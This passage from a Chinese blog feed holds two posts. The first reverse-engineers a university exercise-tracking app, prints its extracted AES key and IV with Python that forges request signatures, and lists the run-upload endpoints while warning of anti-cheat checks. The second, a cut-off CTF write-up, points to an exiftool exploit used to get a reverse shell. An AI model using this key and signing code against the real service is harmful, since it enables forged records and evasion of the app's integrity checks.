的局域网抓包，还有Postman的api测试）非常推荐&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/17a0912e1c077e249139bd3318b70c98.png&#34; alt=&#34;17a0912e1c077e249139bd3318b70c98.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;抓包后会发现大量接口返回的数据是加密过的，同时请求中带有 &lt;code&gt;sign&lt;/code&gt; 字段 —— 于是开始逆向 app，破解签名/加解密算法。&lt;/p&gt;&#xA;&lt;p&gt;NaN.  &lt;strong&gt;脱壳解包&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;NaN.  &lt;strong&gt;使用 jadx 等工具查看 dex&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;NaN.  &lt;strong&gt;抽取加/解密密钥与算法实现，验证并复现加密/解密与签名逻辑。&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;下面给出部分逆向过程（旧版本 dex，但经过验证及对新版本逆向，逻辑与新版相同）：&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;网易易盾的壳，&lt;a href=&#34;https://56.al&#34;&gt;https://56.al&lt;/a&gt; 可在线脱壳 &lt;strong&gt;有实力的🈸可自行手撕&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;有趣的是，这个网站根据哈希判断，我上传上去 apk 后就秒脱了，意味着有人已经脱过了，看记录是在九月份&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;开逆&#34;&gt;开逆&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%bc%80%e9%80%86&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;找到添加&lt;code&gt;Sign&lt;/code&gt;请求头的代码&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Pasted%20image%2020251011125313.png&#34; alt=&#34;Pasted image 20251011125313.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;查找相关用例 跟进&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Pasted%20image%2020251011125424.png&#34; alt=&#34;Pasted image 20251011125424.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;签名加解密流程&#34;&gt;签名/加解密流程&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%ad%be%e5%90%8d%e5%8a%a0%e8%a7%a3%e5%af%86%e6%b5%81%e7%a8%8b&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Pasted%20image%2020251011131350.png&#34; alt=&#34;Pasted image 20251011131350.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;理解完整的签名流程&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/e9d31e90cfd21684a32cbff4144f38ed.png&#34; alt=&#34;e9d31e90cfd21684a32cbff4144f38ed.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/19875556797dbc5dbde9214be95fc373_720.png&#34; alt=&#34;19875556797dbc5dbde9214be95fc373_720.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;获取密钥&#34;&gt;&lt;strong&gt;获取密钥&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e8%8e%b7%e5%8f%96%e5%af%86%e9%92%a5&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;跟进获取密钥的函数 看到判断&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Pasted%20image%2020251011140647-pPpT.png&#34; alt=&#34;Pasted image 20251011140647-pPpT.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;(x7.d.b() == 9 || x7.d.b() == 11) ? &amp;#34;F44B0282BEA83557&amp;#34; : &amp;#34;huachenjie&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;x7.d.b()&lt;/code&gt; 用于判断运行环境，初始化值为 9，因此选中的解密密钥为 &lt;code&gt;F44B0282BEA83557&lt;/code&gt;。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Pasted%20image%2020251011143811-vrNJ.png&#34; alt=&#34;Pasted image 20251011143811-vrNJ.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;继续跟进相关函数，可以找到用于数据加密的第二个密钥与其他配套逻辑。&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Pasted%20image%2020251011141227-gWgZ.png&#34; alt=&#34;Pasted image 20251011141227-gWgZ.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;复现算法python&#34;&gt;&lt;strong&gt;复现算法（Python）&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%a4%8d%e7%8e%b0%e7%ae%97%e6%b3%95python&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;根据逆向结果整理并复现核心算法：&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;import base64&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;from Crypto.Cipher import AES&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;from Crypto.Util.Padding import pad, unpad&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;import hashlib&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# ---------------- AES 工具 ----------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;IV = b&amp;#34;01234ABCDEF56789&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;key_str = &amp;#34;F44B0282BEA83557&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;def c(str2: str) -&amp;gt; bytes:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;生成 32 字节 AES key&amp;#34;&amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    if str2 is None:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        return None&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    b = str2.encode(&amp;#39;utf-8&amp;#39;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    if len(b) == 32:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        return b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    b_arr = bytearray(32)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    b_arr[:min(len(b), 32)] = b[:32]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    return bytes(b_arr)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;def encrypt_aes(plaintext: str) -&amp;gt; str:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    key_bytes = c(key_str)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cipher = AES.new(key_bytes, AES.MODE_CBC, IV)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ciphertext = cipher.encrypt(pad(plaintext.encode(&amp;#39;utf-8&amp;#39;), AES.block_size, style=&amp;#39;pkcs7&amp;#39;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    return base64.b64encode(ciphertext).decode(&amp;#39;utf-8&amp;#39;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;def decrypt_aes(cipher_b64: str) -&amp;gt; str:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    key_bytes = c(key_str)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cipher = AES.new(key_bytes, AES.MODE_CBC, IV)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ct_bytes = base64.b64decode(cipher_b64)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    pt_bytes = unpad(cipher.decrypt(ct_bytes), AES.block_size, style=&amp;#39;pkcs7&amp;#39;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    return pt_bytes.decode(&amp;#39;utf-8&amp;#39;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# ---------------- 哈希工具 ----------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;def obfuscated_hash(s: str, algo=&amp;#39;sha256&amp;#39;) -&amp;gt; str:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;自定义 hash&amp;#34;&amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    if not s:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        return &amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    h = hashlib.new(algo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    h.update(s.encode(&amp;#39;utf-8&amp;#39;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    hexstr = h.hexdigest()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    if len(hexstr) &amp;lt; 16:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        return hexstr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    return hexstr[-8:] + hexstr[8:len(hexstr)-8] + hexstr[:8]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;# ---------------- 签名计算 ----------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;​&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;def calculate_sign(data: str) -&amp;gt; str:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;先哈希原文，再 AES 加密生成 sign&amp;#34;&amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    hashed = obfuscated_hash(data)       # 先哈希&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    sign = encrypt_aes(hashed)  # AES 加密 hash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    return sign&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;&#xA;&lt;h2 id=&#34;接口&#34;&gt;&lt;strong&gt;接口&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%8e%a5%e5%8f%a3&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;抓包过程中发现若干 API&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20251012145258692-zSYb.png&#34; alt=&#34;image-20251012145258692-zSYb.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;阳光跑接口&#34;&gt;&lt;strong&gt;“阳光跑”接口&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e9%98%b3%e5%85%89%e8%b7%91%e6%8e%a5%e5%8f%a3&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;h4 id=&#34;queryschoolfences&#34;&gt;&lt;strong&gt;querySchoolFences&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#queryschoolfences&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;查询学校电子围栏信息，包括经纬度范围、开放时间、打卡点数量、面部识别要求等。&lt;/p&gt;&#xA;&lt;p&gt;电子围栏为一个数组，具有至少三个经纬度信息点作为围栏&lt;/p&gt;&#xA;&lt;h4 id=&#34;checksunrunconfig&#34;&gt;checkSunRunConfig&lt;a class=&#34;heading-anchor&#34; href=&#34;#checksunrunconfig&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;检查跑步计划配置，包括打卡方式、围栏、面部识别要求等信息&lt;/p&gt;&#xA;&lt;h4 id=&#34;querysunrunabstractinfov2&#34;&gt;querySunRunAbstractInfoV2&lt;a class=&#34;heading-anchor&#34; href=&#34;#querysunrunabstractinfov2&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;获取指定阳光跑计划的汇总信息，同时下发学校要求的相关规定，包括但不限于禁止跑步时连接WIFI&lt;/p&gt;&#xA;&lt;h4 id=&#34;uploadrunrecord&#34;&gt;&lt;strong&gt;uploadRunRecord&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#uploadrunrecord&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;strong&gt;每 3 秒&lt;/strong&gt;采样一次（包括围栏距离、经纬度、卫星信息等)，并&lt;strong&gt;每 15 秒&lt;/strong&gt;通过 &lt;code&gt;uploadRunRecord&lt;/code&gt; 上报一次——一次上报包含这 15 秒内采样的 5 个点的数据。&lt;/p&gt;&#xA;&lt;h4 id=&#34;finishsunrun&#34;&gt;&lt;strong&gt;finishSunRun&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#finishsunrun&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;结束一次跑步，并上传跑步的最终数据（步数、距离、轨迹、配速等），用于计算成绩并生成跑步记录。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;该 app 后台会通过该包上传的相关数据来进行作弊判断和数据分析，但不仅限于此&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;如果 app 中途异常退出数据丢失，会先通过&lt;/strong&gt; &lt;code&gt;queryUnFinishRun&lt;/code&gt; &lt;strong&gt;查询未完成的运动记录，然后通过&lt;/strong&gt; &lt;code&gt;abnormalFinishSunRun&lt;/code&gt; &lt;strong&gt;接口来结束异常运动，数据将不会被记录&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;其他接口大家自行探索吧，方法都摆在这里了，不过多赘述&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;需要注意的是，该app后台有着严格的反作弊检测，小心测试&amp;hellip;&amp;hellip;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&lt;em&gt;声明：本文仅用于技术分享与研究，禁止用于破坏、侵入、或其他违法活动。&lt;/em&gt;&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>PatriotCTF 2025 Misc &amp; OSINT &amp; Forensics -- writeup</title>
      <link>https://new.mnzn.me/posts/patriotctf-2025-misc-and-osint-and-forensics-writeup/</link>
      <pubDate>Wed, 01 Oct 2025 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/patriotctf-2025-misc-and-osint-and-forensics-writeup/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;被带飞太爽了 &lt;strong&gt;😋🤓&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;misc&#34;&gt;Misc&lt;a class=&#34;heading-anchor&#34; href=&#34;#misc&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;reverse-metadata-part-1&#34;&gt;&lt;strong&gt;Reverse Metadata Part 1&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#reverse-metadata-part-1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;exiftool CVE&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/UNICORDev/exploit-CVE-2021-22204&#34;&gt;https://github.com/UNICORDev/exploit-CVE-2021-22204&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;反弹shell回来就行 flag在 /flags&lt;/p&gt;&#xA;&lt;h3 id=&#34;reverse-metadata-part-2&#34;&gt;&lt;strong&gt;Reverse Metadata Part 2&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#reverse-metadata-part-2&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;同上 flag在 /proc 删除的文件 grep找就可以&lt;/p&gt;&#xA;&lt;h3 id=&#34;half-eaten-metapixels&#34;&gt;Half-Eaten Metapixels&lt;a class=&#34;heading-anchor&#34; href=&#34;#half-eaten-metapixels&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;打开mc文件 是Golly &lt;a href=&#34;https://golly.sourceforge.io/&#34;&gt;https://golly.sourceforge.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Golly 是一款开源的跨平台应用程序，用于探索康威生命游戏和许多其他类型的元胞自动机。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/31da213f-8256-44a1-9af9-28cdb911ec66.png&#34; alt=&#34;31da213f-8256-44a1-9af9-28cdb911ec66.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;br&gt;&#xA;经过一段时间的迭代后 我们得到&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/57b6d24f-4f5e-44df-89f0-0c34ab6a9f9d.png&#34; alt=&#34;57b6d24f-4f5e-44df-89f0-0c34ab6a9f9d.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;br&gt;&#xA;到这里陷入了僵局 因为可以发现 flag是不完全的 而且这个迭代的速度是非常缓慢&lt;/p&gt;&#xA;&lt;p&gt;我到这里大概跑了一个小时 于是开始尝试观察&lt;/p&gt;&#xA;&lt;p&gt;整个系统由n个小方块组成 我们暂称每个小方块为区块&lt;/p&gt;&#xA;&lt;p&gt;在初始的Generation=1时，&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/4abf7214-c6fa-4541-b533-2a3087d9c940.png&#34; alt=&#34;4abf7214-c6fa-4541-b533-2a3087d9c940.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/d498e268-0b15-4023-bc5c-5e97eddff91a.png&#34; alt=&#34;d498e268-0b15-4023-bc5c-5e97eddff91a.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;观察到每个区块的左下角 有类似电路板的结构&lt;/p&gt;&#xA;&lt;p&gt;而有活细胞区块的这部分与无活细胞区块的这部分结构不同&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/258fce86-a03f-4aba-b328-294ace8a92fb.png&#34; alt=&#34;258fce86-a03f-4aba-b328-294ace8a92fb.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;每个应该有东西的区块 左下的ON OFF 区域的 B1-8是ON&lt;/p&gt;&#xA;&lt;p&gt;没有东西的区块是OFF 并且这个规律与目前迭代出来的都对应上了&lt;/p&gt;&#xA;&lt;p&gt;我们以其中一个变化的位置作为标志位采样 编写脚本提取全部信息&lt;/p&gt;&#xA;&lt;p&gt;Golly内置python脚本环境 &lt;a href=&#34;https://golly.sourceforge.io/Help/python.html&#34;&gt;https://golly.sourceforge.io/Help/python.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;编写脚本来提取标志位&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;golly&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;g&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;os&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;export_01_grid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;x_start&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;138&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;x_end&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;282762&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;x_step&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2048&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;y_start&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1496&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;y_end&lt;/span&gt;   &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;21976&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;y_step&lt;/span&gt;  &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2048&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;desktop&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;path&lt;/span&gt;&lt;span 